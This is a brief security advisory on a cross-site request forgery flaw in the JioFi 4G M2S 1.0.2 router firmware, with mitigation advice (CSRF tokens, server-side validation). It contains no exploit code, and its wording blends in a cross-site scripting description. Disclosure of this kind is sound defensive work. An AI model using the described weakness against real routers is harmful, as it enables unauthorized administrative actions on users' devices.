JioFi 4G M2S 1.0.2 CSRF Vulnerability

The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. The issue is triggered when an unauthorized input passed via multiple POST and GET parameters are not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.

Mitigation:

Implement proper input validation and sanitization on the server side to prevent unauthorized actions. Implement CSRF tokens to verify the authenticity of requests.
